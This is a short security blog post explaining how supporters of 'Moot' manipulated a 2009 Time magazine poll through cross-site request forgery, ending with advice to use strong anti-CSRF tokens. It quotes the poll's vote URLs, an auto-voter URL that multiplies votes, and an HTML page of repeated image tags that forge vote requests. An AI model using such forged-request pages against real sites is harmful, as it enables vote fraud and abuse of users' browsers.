CSRF attack manipulates Times Poll


Again Time magazine has become a victim to CSRF attack. A person called Moot got the most votes not by the normal public bu by manipulating the poll process by Moot's supporters.
The supporters of Moot analysed the link that actually submit the user's vote to the application:

http://www.timepolls.com/contentpolls/Vote.do?pollName=time100_2009&id=1883924&rating=1
Then they created an auto Voter URL:http://fun.qinip.com/gen.php?id=1883924&rating=1&amount=1
The arguments the specified the ID of the person to be voted,the rating to be given to the person and how many times they are being voted.
With this information, the attackers could abuse the amount argument to vote more than one time:


http://fun.qinip.com/gen.php?id=1883924&rating=1&amount=200
Each time this URL was accessed, it was equivalent to 200 individual normal requests.
Time actually identified the manipulation and came with antiCSRF tokens that were MD5 hash of URL + salt value.

http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&choice=1&key=a4f7d95082b03e99586729c5de257e7b
Moot's supporters even identified the mechanism hoe the application generating the token and used the same way to launch the their further attacks.


The URL http://fun.qinip.com contains the following code:
<html&gt


<html>
<head>
<title></title>
</head>
<body>
<img src="http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&choice=1&key=a4f7d95082b03e99586729c5de257e7b" /><img src="http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&choice=1&key=a4f7d95082b03e99586729c5de257e7b" />
...
</body>
</html>



I don't know what happened to this particular poll of Times but one thing is sure..don't just implement anti_CSRF token...implement *strong* anti-CSRF token.

More information:
http://www.xiom.com/whid/2009/38/time_poll_hacking

Comments

Popular posts from this blog

SQL Injection in search field

File Upload through Null Byte Injection